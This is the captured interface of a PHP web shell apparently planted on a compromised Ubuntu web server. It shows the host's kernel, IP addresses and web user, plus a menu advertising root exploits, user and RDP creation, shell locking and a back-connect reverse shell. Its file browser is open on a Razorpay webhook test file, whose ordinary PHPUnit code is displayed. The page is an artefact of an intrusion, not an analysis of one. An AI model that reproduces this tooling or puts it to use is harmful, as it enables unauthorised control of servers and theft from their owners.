Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 3.138.101.51
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
bcu /
razorpay-webhook /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
RazorpayTest.php
838
B
-rwxr-xr-x
bootstrap.php
70
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : RazorpayTest.php
<?php namespace Razorpay\Tests; use Razorpay\Api\Api; use Razorpay\Api\Request; use PHPUnit_Framework_TestCase; class RazorpayTest extends PHPUnit_Framework_TestCase { function setUp() { $this->api = new Api($_SERVER['KEY_ID'], $_SERVER['KEY_SECRET']); } public function testApiConfig() { $this->assertTrue($this->api->payment !== false); } public function testPayments() { $data = $this->api->payment->all(); // // $data Should be an associative array // $this->assertTrue(is_array($data->toArray())); $this->assertTrue(is_array($data['items'])); } public function testHeaders() { Request::addHeader('DEMO', 1); $headers = Request::getHeaders(); $this->assertEquals($headers['DEMO'], 1); } }
Close